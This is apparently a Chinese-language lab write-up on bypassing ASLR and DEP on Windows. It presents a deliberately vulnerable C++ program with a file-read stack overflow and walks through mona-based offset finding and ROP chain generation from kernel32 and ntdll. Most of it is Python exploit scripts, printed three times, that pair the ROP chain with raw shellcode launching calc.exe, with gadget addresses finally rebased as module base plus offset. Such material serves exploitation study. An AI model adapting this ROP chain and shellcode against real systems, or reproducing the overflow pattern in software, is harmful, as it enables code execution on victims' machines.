当程序开启了ASLR
后,程序可能通过需要想办法泄露一些模块的基地址,来构建有效的payload。
下面我们要进行的实验,采取的思路是:泄露系统模块的基址 + 利用对应模块中的gadget构建Ropchain + shellcode。
参考资料:
环境准备
开始实验 漏洞程序 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 #include <conio.h> #include <stdio.h> class Name { char name[32 ]; int * ptr; public : Name () : ptr ((int *)name) {} char * getNameBuf () { return name; } int readFromFile (const char * filePath) { printf ("Reading name from file...\n" ); for (int i = 0 ; i < sizeof (name); ++i) name[i] = 0 ; FILE* f = fopen (filePath, "rb" ); if (!f) return 0 ; fseek (f, 0L , SEEK_END); long bytes = ftell (f); fseek (f, 0L , SEEK_SET); fread (name, 1 , bytes, f); fclose (f); return 1 ; } virtual void printName () { printf ("Hi, %s!\n" , name); } virtual void printNameInHex () { for (int i = 0 ; i < sizeof (name) / 4 ; ++i) printf (" 0x%08x" , ptr[i]); printf ("]\n" ); } }; int old_main () { Name name; while (true ) { if (!name.readFromFile ("D:\\Users\\czx\\NativeFiles\\Desktop\\tmp\\name.dat" )) return -1 ; name.printName (); name.printNameInHex (); printf ("Do you want to read the name again? [y/n] " ); if (_getch() != 'y' ) break ; printf ("\n" ); } return 0 ; } #pragma optimize("" , off) int main () { char moreStack[4096 ] = { 0 }; for (int i = 0 ; i < 4096 ; i++) { moreStack[i] = 'A' ; } return old_main (); }
内存布局 name对象在栈中存储,其内存布局如下:
1 2 3 4 5 VTptr : 虚表指针 name[0..3] ... name[28..31] ptr
调试收集信息 预期执行流
1 ret_eip -> ropchain -> shellcode
查看各模块基址
1 2 3 4 Base | Top | Size | Rebase | SafeSEH | ASLR | CFG | NXCompat | OS Dll | ModuleName 0x75c00000 | 0x75cf0000 | 0x000f0000 | True | False | True | True | True | True | [KERNEL32.DLL] 0x77450000 | 0x775f4000 | 0x001a4000 | True | False | True | True | True | True | [ntdll.dll] ...
确定偏移
在此之前,我们需要给 ptr 指定一个可读地址(比如kernel32的基址),不然当程序运行到 ptr[i] 时,就会报错退出,执行不到 ret eip。
1 2 3 4 5 6 import structwith open ("D:\\Users\\czx\\NativeFiles\\Desktop\\tmp\\name.dat" , "wb" ) as f: kernel32 = 0x75c00000 pattern = b"..." payload = b'a' *32 + struct.pack("<I" , 0x75c00000 ) + pattern f.write(payload)
1 2 3 4 5 6 7 8 9 0:000> !py mona po 61413161 ** You are running pykd.pyd v0.3.4.15. Use at your own risk ** Hold on... [+] Command used: !py D:\Program Files (x86)\Windbg\x86\mona.py po 61413161 Looking for a1Aa in pattern of 500000 bytes - Pattern a1Aa (0x61413161) found in cyclic pattern at position 4
得到偏移量为 8
构建RopChain windbg,太慢啦,生成不出来结果
1 2 !py mona config -set workingfolder D:\Users\czx\NativeFiles\Desktop\blog\code\Exploitme4\mona-log !py mona rop -m "kernel32, ntdll" -cp nonnull
immunity debugger,运行成功,虽然运行过程中会卡死
1 2 !mona config -set workingfolder D:\Users\czx\NativeFiles\Desktop\blog\code\Exploitme4\mona-log-imm !mona rop -m "kernel32,ntdll" -cp nonnull // 注意不要在模块名间加空格
打开rop_chains.txt
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 import structkernel32 = 0x75c00000 ntdll = 0x77450000 def create_rop_chain (): rop_gadgets = [ 0x75c4770d , 0x75c81390 , 0x77493c9e , 0x75c6d43c , 0x774afe38 , 0x7746b318 , 0x774ceeb8 , 0x00000201 , 0x774cb229 , 0x00000040 , 0x774d8a1f , 0x77573a1d , 0x774c9d25 , 0x75c49bea , 0x75c1ea52 , 0x90909090 , 0x75c36095 , ] return b'' .join(struct.pack('<I' , _) for _ in rop_gadgets) with open ("D:\\Users\\czx\\NativeFiles\\Desktop\\tmp\\name.dat" , "wb" ) as f: shellcode = (b"\xe8\xff\xff\xff\xff\xc0\x5f\xb9\x11\x03\x02\x02\x81\xf1\x02\x02" + b"\x02\x02\x83\xc7\x1d\x33\xf6\xfc\x8a\x07\x3c\x02\x0f\x44\xc6\xaa" + b"\xe2\xf6\x55\x8b\xec\x83\xec\x0c\x56\x57\xb9\x7f\xc0\xb4\x7b\xe8" + b"\x55\x02\x02\x02\xb9\xe0\x53\x31\x4b\x8b\xf8\xe8\x49\x02\x02\x02" + b"\x8b\xf0\xc7\x45\xf4\x63\x61\x6c\x63\x6a\x05\x8d\x45\xf4\xc7\x45" + b"\xf8\x2e\x65\x78\x65\x50\xc6\x45\xfc\x02\xff\xd7\x6a\x02\xff\xd6" + b"\x5f\x33\xc0\x5e\x8b\xe5\x5d\xc3\x33\xd2\xeb\x10\xc1\xca\x0d\x3c" + b"\x61\x0f\xbe\xc0\x7c\x03\x83\xe8\x20\x03\xd0\x41\x8a\x01\x84\xc0" + b"\x75\xea\x8b\xc2\xc3\x8d\x41\xf8\xc3\x55\x8b\xec\x83\xec\x14\x53" + b"\x56\x57\x89\x4d\xf4\x64\xa1\x30\x02\x02\x02\x89\x45\xfc\x8b\x45" + b"\xfc\x8b\x40\x0c\x8b\x40\x14\x8b\xf8\x89\x45\xec\x8b\xcf\xe8\xd2" + b"\xff\xff\xff\x8b\x3f\x8b\x70\x18\x85\xf6\x74\x4f\x8b\x46\x3c\x8b" + b"\x5c\x30\x78\x85\xdb\x74\x44\x8b\x4c\x33\x0c\x03\xce\xe8\x96\xff" + b"\xff\xff\x8b\x4c\x33\x20\x89\x45\xf8\x03\xce\x33\xc0\x89\x4d\xf0" + b"\x89\x45\xfc\x39\x44\x33\x18\x76\x22\x8b\x0c\x81\x03\xce\xe8\x75" + b"\xff\xff\xff\x03\x45\xf8\x39\x45\xf4\x74\x1e\x8b\x45\xfc\x8b\x4d" + b"\xf0\x40\x89\x45\xfc\x3b\x44\x33\x18\x72\xde\x3b\x7d\xec\x75\x9c" + b"\x33\xc0\x5f\x5e\x5b\x8b\xe5\x5d\xc3\x8b\x4d\xfc\x8b\x44\x33\x24" + b"\x8d\x04\x48\x0f\xb7\x0c\x30\x8b\x44\x33\x1c\x8d\x04\x88\x8b\x04" + b"\x30\x03\xc6\xeb\xdd" ) rop_chain = create_rop_chain() readable_ptr = struct.pack("<I" , kernel32) payload = b'a' *32 + struct.pack("<I" , kernel32) + b'b' *4 + rop_chain + shellcode f.write(payload)
对应的exp为:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 import structkernel32 = 0x75c00000 ntdll = 0x77450000 def create_rop_chain (): rop_gadgets = [ 0x75c4770d , 0x75c81390 , 0x77493c9e , 0x75c6d43c , 0x774afe38 , 0x7746b318 , 0x774ceeb8 , 0x00000201 , 0x774cb229 , 0x00000040 , 0x774d8a1f , 0x77573a1d , 0x774c9d25 , 0x75c49bea , 0x75c1ea52 , 0x90909090 , 0x75c36095 , ] return b'' .join(struct.pack('<I' , _) for _ in rop_gadgets) with open ("D:\\Users\\czx\\NativeFiles\\Desktop\\tmp\\name.dat" , "wb" ) as f: shellcode = (b"\xe8\xff\xff\xff\xff\xc0\x5f\xb9\x11\x03\x02\x02\x81\xf1\x02\x02" + b"\x02\x02\x83\xc7\x1d\x33\xf6\xfc\x8a\x07\x3c\x02\x0f\x44\xc6\xaa" + b"\xe2\xf6\x55\x8b\xec\x83\xec\x0c\x56\x57\xb9\x7f\xc0\xb4\x7b\xe8" + b"\x55\x02\x02\x02\xb9\xe0\x53\x31\x4b\x8b\xf8\xe8\x49\x02\x02\x02" + b"\x8b\xf0\xc7\x45\xf4\x63\x61\x6c\x63\x6a\x05\x8d\x45\xf4\xc7\x45" + b"\xf8\x2e\x65\x78\x65\x50\xc6\x45\xfc\x02\xff\xd7\x6a\x02\xff\xd6" + b"\x5f\x33\xc0\x5e\x8b\xe5\x5d\xc3\x33\xd2\xeb\x10\xc1\xca\x0d\x3c" + b"\x61\x0f\xbe\xc0\x7c\x03\x83\xe8\x20\x03\xd0\x41\x8a\x01\x84\xc0" + b"\x75\xea\x8b\xc2\xc3\x8d\x41\xf8\xc3\x55\x8b\xec\x83\xec\x14\x53" + b"\x56\x57\x89\x4d\xf4\x64\xa1\x30\x02\x02\x02\x89\x45\xfc\x8b\x45" + b"\xfc\x8b\x40\x0c\x8b\x40\x14\x8b\xf8\x89\x45\xec\x8b\xcf\xe8\xd2" + b"\xff\xff\xff\x8b\x3f\x8b\x70\x18\x85\xf6\x74\x4f\x8b\x46\x3c\x8b" + b"\x5c\x30\x78\x85\xdb\x74\x44\x8b\x4c\x33\x0c\x03\xce\xe8\x96\xff" + b"\xff\xff\x8b\x4c\x33\x20\x89\x45\xf8\x03\xce\x33\xc0\x89\x4d\xf0" + b"\x89\x45\xfc\x39\x44\x33\x18\x76\x22\x8b\x0c\x81\x03\xce\xe8\x75" + b"\xff\xff\xff\x03\x45\xf8\x39\x45\xf4\x74\x1e\x8b\x45\xfc\x8b\x4d" + b"\xf0\x40\x89\x45\xfc\x3b\x44\x33\x18\x72\xde\x3b\x7d\xec\x75\x9c" + b"\x33\xc0\x5f\x5e\x5b\x8b\xe5\x5d\xc3\x8b\x4d\xfc\x8b\x44\x33\x24" + b"\x8d\x04\x48\x0f\xb7\x0c\x30\x8b\x44\x33\x1c\x8d\x04\x88\x8b\x04" + b"\x30\x03\xc6\xeb\xdd" ) rop_chain = create_rop_chain() readable_ptr = struct.pack("<I" , kernel32) payload = b'a' *32 + struct.pack("<I" , kernel32) + b'b' *4 + rop_chain + shellcode f.write(payload)
执行后运行程序,成功弹出计算器。
重启操作系统后,无法再弹出计算器。
完善exp
ret_eip -> ropchain -> shellcode
将上述绝对地址,替换为各自的【模块基址】+【偏移量】,并通过一定方式(比如手动)更新模块基址,就能够让exp保持有效
其中模块基址为:
1 2 kernel32.dll: 0x75c00000 ntdll.dll : 0x77450000
完整exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 import structkernel32 = 0x75c00000 ntdll = 0x77450000 def create_rop_chain (): rop_gadgets = [ kernel32 + 0x0004770d , kernel32 + 0x00081390 , ntdll + 0x00043c9e , kernel32 + 0x0006d43c , ntdll + 0x0005fe38 , ntdll + 0x0001b318 , ntdll + 0x0007eeb8 , 0x00000201 , ntdll + 0x0007b229 , 0x00000040 , ntdll + 0x00088a1f , ntdll + 0x00123a1d , ntdll + 0x00079d25 , kernel32 + 0x00049bea , kernel32 + 0x0001ea52 , 0x90909090 , kernel32 + 0x00036095 , ] return b'' .join(struct.pack('<I' , _) for _ in rop_gadgets) with open ("D:\\Users\\czx\\NativeFiles\\Desktop\\tmp\\name.dat" , "wb" ) as f: shellcode = (b"\xe8\xff\xff\xff\xff\xc0\x5f\xb9\x11\x03\x02\x02\x81\xf1\x02\x02" + b"\x02\x02\x83\xc7\x1d\x33\xf6\xfc\x8a\x07\x3c\x02\x0f\x44\xc6\xaa" + b"\xe2\xf6\x55\x8b\xec\x83\xec\x0c\x56\x57\xb9\x7f\xc0\xb4\x7b\xe8" + b"\x55\x02\x02\x02\xb9\xe0\x53\x31\x4b\x8b\xf8\xe8\x49\x02\x02\x02" + b"\x8b\xf0\xc7\x45\xf4\x63\x61\x6c\x63\x6a\x05\x8d\x45\xf4\xc7\x45" + b"\xf8\x2e\x65\x78\x65\x50\xc6\x45\xfc\x02\xff\xd7\x6a\x02\xff\xd6" + b"\x5f\x33\xc0\x5e\x8b\xe5\x5d\xc3\x33\xd2\xeb\x10\xc1\xca\x0d\x3c" + b"\x61\x0f\xbe\xc0\x7c\x03\x83\xe8\x20\x03\xd0\x41\x8a\x01\x84\xc0" + b"\x75\xea\x8b\xc2\xc3\x8d\x41\xf8\xc3\x55\x8b\xec\x83\xec\x14\x53" + b"\x56\x57\x89\x4d\xf4\x64\xa1\x30\x02\x02\x02\x89\x45\xfc\x8b\x45" + b"\xfc\x8b\x40\x0c\x8b\x40\x14\x8b\xf8\x89\x45\xec\x8b\xcf\xe8\xd2" + b"\xff\xff\xff\x8b\x3f\x8b\x70\x18\x85\xf6\x74\x4f\x8b\x46\x3c\x8b" + b"\x5c\x30\x78\x85\xdb\x74\x44\x8b\x4c\x33\x0c\x03\xce\xe8\x96\xff" + b"\xff\xff\x8b\x4c\x33\x20\x89\x45\xf8\x03\xce\x33\xc0\x89\x4d\xf0" + b"\x89\x45\xfc\x39\x44\x33\x18\x76\x22\x8b\x0c\x81\x03\xce\xe8\x75" + b"\xff\xff\xff\x03\x45\xf8\x39\x45\xf4\x74\x1e\x8b\x45\xfc\x8b\x4d" + b"\xf0\x40\x89\x45\xfc\x3b\x44\x33\x18\x72\xde\x3b\x7d\xec\x75\x9c" + b"\x33\xc0\x5f\x5e\x5b\x8b\xe5\x5d\xc3\x8b\x4d\xfc\x8b\x44\x33\x24" + b"\x8d\x04\x48\x0f\xb7\x0c\x30\x8b\x44\x33\x1c\x8d\x04\x88\x8b\x04" + b"\x30\x03\xc6\xeb\xdd" ) rop_chain = create_rop_chain() readable_ptr = struct.pack("<I" , kernel32) payload = b'a' *32 + struct.pack("<I" , kernel32) + b'b' *4 + rop_chain + shellcode f.write(payload)
运行后,成功弹出计算器。系统重启后,只需更新两个系统模块的基址,就能再次弹出计算器。
自动化获取模块基址 上面的exp中,需要我们手动指定两个系统模块的加载基值,比较麻烦。下面我们尝试自动化地获取它们。
【TODO!]